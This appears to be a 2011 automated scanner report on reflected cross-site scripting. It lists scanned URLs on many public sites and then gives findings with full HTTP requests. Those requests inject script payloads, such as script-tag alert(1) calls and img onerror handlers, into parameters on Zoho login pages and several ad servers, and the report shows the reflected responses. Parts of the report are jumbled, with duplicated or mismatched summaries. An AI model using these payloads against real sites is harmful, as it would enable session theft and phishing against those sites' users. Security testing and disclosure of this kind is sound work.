http://www.opengroup.org/architecture/togaf8-doc/arch/banner1.htm [REST URL parameter 3]
http://www.opengroup.org/architecture/togaf8-doc/arch/banner1.htm [REST URL parameter 3]
http://www.opengroup.org/architecture/togaf8-doc/arch/banner1.htm [REST URL parameter 3]
http://www.opengroup.org/architecture/togaf8-doc/arch/banner1.htm [REST URL parameter 4]
http://www.opengroup.org/architecture/togaf8-doc/arch/banner1.htm [REST URL parameter 4]
http://www.opengroup.org/architecture/togaf8-doc/arch/banner1.htm [REST URL parameter 4]
http://www.opengroup.org/architecture/togaf8-doc/arch/toc2.html [REST URL parameter 1]
http://www.opengroup.org/architecture/togaf8-doc/arch/toc2.html [REST URL parameter 1]
http://www.opengroup.org/architecture/togaf8-doc/arch/toc2.html [REST URL parameter 1]
http://www.opengroup.org/architecture/togaf8-doc/arch/toc2.html [REST URL parameter 2]
http://www.opengroup.org/architecture/togaf8-doc/arch/toc2.html [REST URL parameter 2]
http://www.opengroup.org/architecture/togaf8-doc/arch/toc2.html [REST URL parameter 2]
http://www.opengroup.org/architecture/togaf8-doc/arch/toc2.html [REST URL parameter 3]
http://www.opengroup.org/architecture/togaf8-doc/arch/toc2.html [REST URL parameter 3]
http://www.opengroup.org/architecture/togaf8-doc/arch/toc2.html [REST URL parameter 3]
http://www.opengroup.org/architecture/togaf8-doc/arch/toc2.html [REST URL parameter 4]
http://www.opengroup.org/architecture/togaf8-doc/arch/toc2.html [REST URL parameter 4]
http://www.opengroup.org/architecture/togaf8-doc/arch/toc2.html [REST URL parameter 4]
http://www.opengroup.org/architecture/togaf8-doc/arch/welcome.html [REST URL parameter 1]
http://www.opengroup.org/architecture/togaf8-doc/arch/welcome.html [REST URL parameter 1]
http://www.opengroup.org/architecture/togaf8-doc/arch/welcome.html [REST URL parameter 1]
http://www.opengroup.org/architecture/togaf8-doc/arch/welcome.html [REST URL parameter 2]
http://www.opengroup.org/architecture/togaf8-doc/arch/welcome.html [REST URL parameter 2]
http://www.opengroup.org/architecture/togaf8-doc/arch/welcome.html [REST URL parameter 2]
http://www.opengroup.org/architecture/togaf8-doc/arch/welcome.html [REST URL parameter 3]
http://www.opengroup.org/architecture/togaf8-doc/arch/welcome.html [REST URL parameter 3]
http://www.opengroup.org/architecture/togaf8-doc/arch/welcome.html [REST URL parameter 3]
http://www.opengroup.org/architecture/togaf8-doc/arch/welcome.html [REST URL parameter 4]
http://www.opengroup.org/architecture/togaf8-doc/arch/welcome.html [REST URL parameter 4]
http://www.opengroup.org/architecture/togaf8-doc/arch/welcome.html [REST URL parameter 4]
http://www.opengroup.org/events/sponsor-exhibit.htm [REST URL parameter 1]
http://www.opengroup.org/events/sponsor-exhibit.htm [REST URL parameter 1]
http://www.opengroup.org/events/sponsor-exhibit.htm [REST URL parameter 1]
http://www.opengroup.org/events/sponsor-exhibit.htm [REST URL parameter 2]
http://www.opengroup.org/events/sponsor-exhibit.htm [REST URL parameter 2]
http://www.opengroup.org/events/sponsor-exhibit.htm [REST URL parameter 2]
http://www.opengroup.org/favicon.ico [REST URL parameter 1]
http://www.opengroup.org/favicon.ico [REST URL parameter 1]
http://www.opengroup.org/member/ [REST URL parameter 1]
http://www.opengroup.org/member/ [REST URL parameter 1]
http://www.opengroup.org/member/ [REST URL parameter 1]
http://www.opengroup.org/togaf/ [REST URL parameter 1]
http://www.opengroup.org/togaf/ [REST URL parameter 1]
http://www.opengroup.org/togaf9/cert/ [REST URL parameter 1]
http://www.opengroup.org/togaf9/cert/ [REST URL parameter 1]
http://www.opengroup.org/togaf9/cert/ [REST URL parameter 1]
http://www.opengroup.org/togaf9/cert/ [REST URL parameter 2]
http://www.opengroup.org/togaf9/cert/ [REST URL parameter 2]
http://www.opengroup.org/togaf9/cert/ [REST URL parameter 2]
http://www.paperthin.com/_cs_apps/ajaxProxy.cfm [bean parameter]
http://www.paperthin.com/_cs_apps/ajaxProxy.cfm [method parameter]
http://www.prchecker.info/check_page_rank.php [name of an arbitrarily supplied request parameter]
http://www.prchecker.info/check_page_rank.php [urlo parameter]
http://www.sti-cs.com/Portfolio/Trades-and-Exhibits/id-24/page-1/ [REST URL parameter 3]
http://www.sti-cs.com/Portfolio/Trades-and-Exhibits/id-25/page-1/ [REST URL parameter 3]
http://www.sti-cs.com/Portfolio/Trades-and-Exhibits/id-7/page-1/ [REST URL parameter 3]
http://www.virtusa.com/applications/userlogin/userlogin.asp [fn parameter]
http://www.virtusa.com/common/exitpage.asp [page parameter]
http://www.watchmouse.com/assets/css/print.css [REST URL parameter 3]
http://www.watchmouse.com/assets/css/screen.css [REST URL parameter 3]
http://www.watchmouse.com/en/ [REST URL parameter 1]
http://www.watchmouse.com/en/ [name of an arbitrarily supplied request parameter]
http://www.watchmouse.com/en/api/checkreferrer.php [REST URL parameter 3]
http://www.winamp.com/media-player/en [REST URL parameter 2]
http://www.wolframalpha.com/input/ [i parameter]
http://www.wolframalpha.com/input/ [name of an arbitrarily supplied request parameter]
https://www14.software.ibm.com/webapp/iwm/web/signup.do [ck parameter]
https://www14.software.ibm.com/webapp/iwm/web/signup.do [cm parameter]
https://www14.software.ibm.com/webapp/iwm/web/signup.do [cmp parameter]
https://www14.software.ibm.com/webapp/iwm/web/signup.do [cr parameter]
https://www14.software.ibm.com/webapp/iwm/web/signup.do [csr parameter]
https://www14.software.ibm.com/webapp/iwm/web/signup.do [ct parameter]
https://www14.software.ibm.com/webapp/iwm/web/signup.do [mkwid parameter]
https://www14.software.ibm.com/webapp/iwm/web/signup.do [name of an arbitrarily supplied request parameter]
http://duckduckgo.com/ [Referer HTTP header]
http://duckduckgo.com/Assan_language [Referer HTTP header]
http://duckduckgo.com/Cross-site_scripting [Referer HTTP header]
http://duckduckgo.com/HTTP_referrer [Referer HTTP header]
http://duckduckgo.com/Microsoft_Visual_Studio [Referer HTTP header]
http://duckduckgo.com/NaN [Referer HTTP header]
http://duckduckgo.com/User_agent [Referer HTTP header]
http://duckduckgo.com/c/Computer_arithmetic [Referer HTTP header]
http://duckduckgo.com/c/Computing_acronyms [Referer HTTP header]
http://duckduckgo.com/c/Software_anomalies [Referer HTTP header]
http://duckduckgo.com/c/The_Simpsons_characters [Referer HTTP header]
http://duckduckgo.com/e.js [Referer HTTP header]
https://duckduckgo.com/ [Referer HTTP header]
https://duckduckgo.com/Electronic_Frontier_Foundation [Referer HTTP header]
https://duckduckgo.com/HTTP_Secure [Referer HTTP header]
https://duckduckgo.com/HTTP_cookie [Referer HTTP header]
https://duckduckgo.com/IP_Address [Referer HTTP header]
https://duckduckgo.com/e.js [Referer HTTP header]
https://duckduckgo.com/e.js [Referer HTTP header]
https://event.on24.com/eventRegistration/EventLobbyServlet [User-Agent HTTP header]
https://login.oracle.com/mysso/signon.jsp [Referer HTTP header]
https://login.oracle.com/pls/orasso/orasso.wwsso_app_admin.ls_login [Referer HTTP header]
http://telligent.com/products/request_a_demo.aspx [Referer HTTP header]
http://telligent.com/resources/m/analysts/1343205.aspx [Referer HTTP header]
http://telligent.com/resources/m/analysts/1345217.aspx [Referer HTTP header]
http://telligent.com/resources/m/success_stories/1331597.aspx [Referer HTTP header]
http://telligent.com/support/request_an_upgrade/ [Referer HTTP header]
http://www.fusionbot.com/ [Referer HTTP header]
http://www.virtusa.com/contactus [Referer HTTP header]
http://www.virtusa.com/contactus/ [Referer HTTP header]
http://www.virtusa.com/ftbu/contactus/default.asp [Referer HTTP header]
http://www.watchmouse.com/en/ [Referer HTTP header]
https://accounts.zoho.com/login [iamcsr cookie]
http://bs.serving-sys.com/BurstingPipe/adServer.bs [eyeblaster cookie]
http://duck.co/duckduckgo-forum [zdccn cookie]
http://duck.co/duckduckgo-forum [zdccn cookie]
http://duck.co/portalLogin.do [zdccn cookie]
http://duck.co/topic/2-25-news-stories-to-comment-on [zdccn cookie]
http://duck.co/topic/2-25-news-stories-to-comment-on [zdccn cookie]
http://duck.co/topic/2-28-articles-to-comment-on [zdccn cookie]
http://duck.co/topic/2-28-articles-to-comment-on [zdccn cookie]
http://duck.co/topic/about-com-s-web-search-readers-choice-awards [zdccn cookie]
http://duck.co/topic/about-com-s-web-search-readers-choice-awards [zdccn cookie]
http://duck.co/topic/boolean-operators-and-parentheses-for-search-query [zdccn cookie]
http://duck.co/topic/boolean-operators-and-parentheses-for-search-query [zdccn cookie]
http://duck.co/topic/cached-archived-links [zdccn cookie]
http://duck.co/topic/cached-archived-links [zdccn cookie]
http://duck.co/topic/changing-font-text-and-links [zdccn cookie]
http://duck.co/topic/changing-font-text-and-links [zdccn cookie]
http://duck.co/topic/ddg-gg [zdccn cookie]
http://duck.co/topic/ddg-gg [zdccn cookie]
http://duck.co/topic/ddg-in-alternative-web-browsers [zdccn cookie]
http://duck.co/topic/ddg-in-alternative-web-browsers [zdccn cookie]
http://duck.co/topic/ddg-is-one-of-zoho-s-esteemed-customers [zdccn cookie]
http://duck.co/topic/ddg-is-one-of-zoho-s-esteemed-customers [zdccn cookie]
http://duck.co/topic/ddg-own-search-engine [zdccn cookie]
http://duck.co/topic/ddg-own-search-engine [zdccn cookie]
http://duck.co/topic/ddg-userbar-to-spread-the-word [zdccn cookie]
http://duck.co/topic/ddg-userbar-to-spread-the-word [zdccn cookie]
http://duck.co/topic/default-header-color [zdccn cookie]
http://duck.co/topic/default-header-color [zdccn cookie]
http://duck.co/topic/differentiate-duckduckgo-with-other [zdccn cookie]
http://duck.co/topic/differentiate-duckduckgo-with-other [zdccn cookie]
http://duck.co/topic/duckduckgo-webs-com-custom-logos [zdccn cookie]
http://duck.co/topic/duckduckgo-webs-com-custom-logos [zdccn cookie]
http://duck.co/topic/foss-donation-nominations [zdccn cookie]
http://duck.co/topic/foss-donation-nominations [zdccn cookie]
http://duck.co/topic/freenet [zdccn cookie]
http://duck.co/topic/freenet [zdccn cookie]
http://duck.co/topic/historical-traffic-stats [zdccn cookie]
http://duck.co/topic/historical-traffic-stats [zdccn cookie]
http://duck.co/topic/how-to-get-similar-growth-for-2011 [zdccn cookie]
http://duck.co/topic/how-to-get-similar-growth-for-2011 [zdccn cookie]
http://duck.co/topic/i-did-my-own-way-to-promote-ddg [zdccn cookie]
http://duck.co/topic/i-did-my-own-way-to-promote-ddg [zdccn cookie]
http://duck.co/topic/i-would-love-it-iff-i-need-ideas-fast-please-click [zdccn cookie]
http://duck.co/topic/i-would-love-it-iff-i-need-ideas-fast-please-click [zdccn cookie]
http://duck.co/topic/logging-in-message-email-not-confirmed [zdccn cookie]
http://duck.co/topic/logging-in-message-email-not-confirmed [zdccn cookie]
http://duck.co/topic/maps [zdccn cookie]
http://duck.co/topic/maps [zdccn cookie]
http://duck.co/topic/opera-thread-include-duckduckgo-in-default-search-engines [zdccn cookie]
http://duck.co/topic/opera-thread-include-duckduckgo-in-default-search-engines [zdccn cookie]
http://duck.co/topic/pages-without-favicon-uses-ddg-favicon [zdccn cookie]
http://duck.co/topic/pages-without-favicon-uses-ddg-favicon [zdccn cookie]
http://duck.co/topic/post-your-ddg-sticker-photos [zdccn cookie]
http://duck.co/topic/post-your-ddg-sticker-photos [zdccn cookie]
http://duck.co/topic/q-html-entities [zdccn cookie]
http://duck.co/topic/q-html-entities [zdccn cookie]
http://duck.co/topic/searching-for-roommates-on-craigslist [zdccn cookie]
http://duck.co/topic/searching-for-roommates-on-craigslist [zdccn cookie]
http://duck.co/topic/spam-site-found [zdccn cookie]
http://duck.co/topic/spam-site-found [zdccn cookie]
http://duck.co/topic/userscript-which-prevents-you-from-accidentally-posting-as-guest [zdccn cookie]
http://duck.co/topic/userscript-which-prevents-you-from-accidentally-posting-as-guest [zdccn cookie]
http://duck.co/topic/want-more-visitors-ehh-needs-to-look-more-proffesional [zdccn cookie]
http://duck.co/topic/want-more-visitors-ehh-needs-to-look-more-proffesional [zdccn cookie]
http://duck.co/topic/words-to-live-by [zdccn cookie]
http://duck.co/topic/words-to-live-by [zdccn cookie]
http://duck.co/topic/wot-highlighting [zdccn cookie]
http://duck.co/topic/wot-highlighting [zdccn cookie]
http://seg.sharethis.com/getSegment.php [__stid cookie]
http://REDACTED/iaction/adoapn_AppNexusDemoActionTag_1 [AA002 cookie]
http://www.winamp.com/ [countryCookie cookie]
http://www.winamp.com/media-player/en [countryCookie cookie]
http://www.winamp.com/skin/slick-redux/222084 [countryCookie cookie]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

3.1. https://accounts.zoho.com/login [serviceurl parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	https://accounts.zoho.com
Path:	/login

Remediation detail

Request

GET /login?service_language=en&dcc=true&hide_title=true&servicename=ZohoDiscussions&hide_signup=true&serviceurl=http%3A%2F%2Fduck.cocbc11'%3b9fabd1aa3a3 HTTP/1.1
Host: accounts.zoho.com
Connection: keep-alive
Referer: http://duck.co/portalLogin.do?serviceurl=/&forumGroupUrl=duckduckgo
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=168905406.1298947680.1.1.utmcsr=duck.co|utmccn=(referral)|utmcmd=referral|utmcct=/subscribeRegister.do; __utma=168905406.68197405.1298947680.1298947680.1298947680.1; __utmc=168905406; __utmb=168905406.1.10.1298947680; iamcsr=17d8938e-e664-4e84-8c5d-c1bc26754003; rtk=1298947649191; JSESSIONID=BC277CF3337675932ED541A636212CD9

Response

HTTP/1.1 200 OK
P3P: CP="CAO PSA OUR"
Set-Cookie: IAMAGENTTICKET=; Domain=.zoho.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; Secure
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Tue, 01 Mar 2011 02:58:11 GMT
Server: ZWS
Content-Length: 20982

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1.dtd">

<html>
<head>
<title>Zoho Accounts</title>
<style type="text
...[SNIP]...
xOf("http://")==0){iurl=iurl.replace("http://", "https://");window.location.href=iurl;}
}

var enableReload = true;
var serviceurl = 'http://duck.cocbc11';9fabd1aa3a3';
var servicename ='ZohoDiscussions';
var domain_label='null';
var domain_suffix='null';
var partner_domain='null';
var hidesecure = 'null';
...[SNIP]...

3.2. https://accounts.zoho.com/login [serviceurl parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	https://accounts.zoho.com
Path:	/login

Request

GET /login?service_language=en&dcc=true&hide_title=true&servicename=ZohoDiscussions&hide_signup=true&serviceurl=http%3A%2F%2Fduck.codec4c'><a%20b%3dc>57f8520d9a7 HTTP/1.1
Host: accounts.zoho.com
Connection: keep-alive
Referer: http://duck.co/portalLogin.do?serviceurl=/&forumGroupUrl=duckduckgo
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=168905406.1298947680.1.1.utmcsr=duck.co|utmccn=(referral)|utmcmd=referral|utmcct=/subscribeRegister.do; __utma=168905406.68197405.1298947680.1298947680.1298947680.1; __utmc=168905406; __utmb=168905406.1.10.1298947680; iamcsr=17d8938e-e664-4e84-8c5d-c1bc26754003; rtk=1298947649191; JSESSIONID=BC277CF3337675932ED541A636212CD9

Response

HTTP/1.1 200 OK
P3P: CP="CAO PSA OUR"
Set-Cookie: IAMAGENTTICKET=; Domain=.zoho.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; Secure
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Tue, 01 Mar 2011 02:58:06 GMT
Server: ZWS
Content-Length: 21044

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1.dtd">

<html>
<head>
<title>Zoho Accounts</title>
<style type="text
...[SNIP]...
<input name="serviceurl" value='http://duck.codec4c'><a b=c>57f8520d9a7' type="hidden">
...[SNIP]...

3.3. https://accounts.zoho.com/register [serviceurl parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	https://accounts.zoho.com
Path:	/register

Severity:	High
Confidence:	Certain
Host:	http://ads.tw.adsonar.com
Path:	/adserving/getAds.jsp

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /adserving/getAds.jsp?previousPlacementIds=&placementId=1430720ce49b--><script>alert(1)</script>7267909dc51&pid=1128769&ps=-1&zw=475&zh=200&url=http%3A//forums.winamp.com/&v=5&dct=Winamp%20Forums&metakw=media%20player,mp3%20player,music%20player,ipod%20sync,multimedia%20player,player,winamp HTTP/1.1
Host: ads.tw.adsonar.com
Proxy-Connection: keep-alive
Referer: http://forums.winamp.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 27 Feb 2011 17:43:16 GMT
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain
Content-Length: 3257

   <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
   <html>
       <body>
       <script>alert(1)</script>7267909dc51" -->
...[SNIP]...

3.8. http://ads.tw.adsonar.com/adserving/getAds.jsp [ps parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ads.tw.adsonar.com
Path:	/adserving/getAds.jsp

Summary

Severity:	High
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/js/3992-121072-16279-0

Remediation detail

Request

GET /ad/js/3992-121072-16279-0?mpt=77383421555c54'-alert(1)-'aa8bf6ae2f0&mpvc=http://at.atwola.com/adlink/5113/1838219/0/6/AdId=1491683;BnId=1;itime=773834215;kvpg=techcrunch%2F2011%2F02%2F16%2Fforbes%2Daccused%2Dof%2Dlink%2D;kvugc=0;kvmn=93311141;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:54063:56768:56830:56835:60506:60515:53615:52766:60130:50213:50239;nodecode=yes;link= HTTP/1.1
Host: altfarm.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://techcrunch.com/wp-content/themes/vip/tctechcrunch/_uac/adpage.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=879590159695; mojo3=12309:25586/1551:17023/12525:37966/14960:18534/15017:34880

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-store
Pragma: no-cache
Expires: 0
Content-Type: text/html
Content-Length: 527
Date: Sun, 27 Feb 2011 02:31:59 GMT

document.write('<a target="_blank" href="http://at.atwola.com/adlink/5113/1838219/0/6/AdId=1491683;BnId=1;itime=773834215;kvpg=techcrunch/2011/02/16/forbes-accused-of-link-;kvugc=0;kvmn=93311141;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:54063:56768:56830:56835:60506:60515:53615:52766:60130:50213:50239;nodecode=yes;link=http://altfarm.mediaplex.com/ad/ck/3992-121072-16279-0?mpt=77383421555c54'-alert(1)-'aa8bf6ae2f0">
...[SNIP]...

3.13. http://altfarm.mediaplex.com/ad/js/3992-121072-16279-0 [mpvc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/js/3992-121072-16279-0

Remediation detail

Request

GET /ad/js/3992-121072-16279-0?mpt=773834215&mpvc=http://at.atwola.com/adlink/5113/1838219/0/6/AdId=1491683;BnId=1;itime=773834215;kvpg=techcrunch%2F2011%2F02%2F16%2Fforbes%2Daccused%2Dof%2Dlink%2D;kvugc=0;kvmn=93311141;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:54063:56768:56830:56835:60506:60515:53615:52766:60130:50213:50239;nodecode=yes;link=55d8a'%3balert(1)//2ee66e943dc HTTP/1.1
Host: altfarm.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://techcrunch.com/wp-content/themes/vip/tctechcrunch/_uac/adpage.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=879590159695; mojo3=12309:25586/1551:17023/12525:37966/14960:18534/15017:34880

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: no-store
Pragma: no-cache
Expires: 0
Content-Type: text/html
Content-Length: 527
Date: Sun, 27 Feb 2011 02:32:18 GMT

document.write('<a target="_blank" href="http://at.atwola.com/adlink/5113/1838219/0/6/AdId=1491683;BnId=1;itime=773834215;kvpg=techcrunch/2011/02/16/forbes-accused-of-link-;kvugc=0;kvmn=93311141;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:54063:56768:56830:56835:60506:60515:53615:52766:60130:50213:50239;nodecode=yes;link=55d8a';alert(1)//2ee66e943dchttp://altfarm.mediaplex.com/ad/ck/3992-121072-16279-0?mpt=773834215">
...[SNIP]...

3.14. http://altfarm.mediaplex.com/ad/js/3992-121072-16279-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://altfarm.mediaplex.com
Path:	/ad/js/3992-121072-16279-0

Severity:	High
Confidence:	Certain
Host:	http://apps.conduit-banners.com
Path:	/TechCrunchApp-Techcrunch_APP

Severity:	High
Confidence:	Certain
Host:	http://b.scorecardresearch.com
Path:	/beacon.js

Request

GET /beacon.js?c1=8&c2=2113&c3=20&c4=4837&c5=28380&c6=ed016<script>alert(1)</script>37dd9a94977&c10=175955&c15= HTTP/1.1
Host: b.scorecardresearch.com
Proxy-Connection: keep-alive
Referer: http://ads.undertone.com/afr.php?01AD=3ZKQmO-b8_GXmcNnITFGIgIBnuIoKCHLCxpOLas1ONy8Fx9ZI8hTANQ&01RI=49546D5762419DE&01NA=&zoneid=4837&cb=825081833
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UID=6d0f24-24.143.206.42-1297806131

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: private, no-transform, max-age=604800
Expires: Sun, 06 Mar 2011 16:45:01 GMT
Date: Sun, 27 Feb 2011 16:45:01 GMT
Connection: close
Content-Length: 3594

if(typeof COMSCORE=="undefined"){window.COMSCORE={}}if(typeof COMSCORE.Beacon=="undefined"){COMSCORE.Beacon={}}if(typeof _comscore!="object"){window._comscore=[]}COMSCORE.beacon=function(j){try{if(!j)
...[SNIP]...
mscore;for(b=a.length-1;b>=0;b--){f=COMSCORE.beacon(a[b]);a.splice(b,1);if(f){c.push(f)}}return c}catch(d){}};COMSCORE.purge();
COMSCORE.beacon({c1:"8", c2:"2113", c3:"20", c4:"4837", c5:"28380", c6:"ed016<script>alert(1)</script>37dd9a94977", c10:"175955", c15:"", c16:"", r:""});

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.widgetserver.com
Path:	/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436

Request

GET /syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436;BnId=d23ea<img%20src%3da%20onerror%3dalert(1)>11242cb47aa HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
Referer: http://techcrunch.com/wp-content/themes/vip/tctechcrunch/_uac/adpage.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript;charset=UTF-8
Date: Sun, 27 Feb 2011 16:45:07 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Length: 56347

if(!window.WIDGETBOX){(function(){var D=false;var C=function(){WIDGETBOX.setPageLoaded();};var B=function(){WIDGETBOX.setPageUnloaded();};WIDGETBOX={libs:{},version:"47243",urls:{runtimeBaseUrl
...[SNIP]...
get","fif":"aol"},

configurationParams : {"wbx_at":"http://cdn4.eyewonder.com/cm/nb/9826-119832-16279-2?mpt=[timestamp]","wbx_lp":"http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436;BnId=d23ea<img src=a onerror=alert(1)>11242cb47aa"},

processPathParameters : function(){

var fifMode = WIDGETBOX.platform.WidgetConfigPathHandler.initializationParams["fif"];
if(fifMode && WIDGETBOX.platform.FriendlyIFrame){

...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.widgetserver.com
Path:	/syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink/5113/1838313/0/529/AdId=1481436

Request

GET /syndication/platform/InsertWidget/fif/aol/id/8f8e2793-e99e-41bf-8b75-95ef3e434575/__c__,wbx_at,http%3A%2F%2Fcdn4.eyewonder.com%2Fcm%2Fnb%2F9826-119832-16279-2%3Fmpt%3D%5Btimestamp%5D,wbx_lp,http://at.atwola.com/adlink94f39<img%20src%3da%20onerror%3dalert(1)>6a768a93c3/5113/1838313/0/529/AdId=1481436;BnId=1;itime=825081324;kvpg=techcrunch;kvugc=0;kvmn=93311231;kvtid=16lsqii1n1a3cr;kvseg=99999:53575:53656:56768:56830:56835:60515:53615:52766:60130:50213:50239:60190;nodecode=yes;link=,wbx_at_1,__c__ HTTP/1.1
Host: cdn.widgetserver.com
Proxy-Connection: keep-alive
Referer: http://techcrunch.com/wp-content/themes/vip/tctechcrunch/_uac/adpage.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript;charset=UTF-8
Date: Sun, 27 Feb 2011 16:46:26 GMT
P3P: CP="NON ADMa OUR IND PHY ONL UNI COM NAV STA"
Server: Apache/2.2.3 (Red Hat)
Vary: Accept-Encoding
Content-Length: 56525

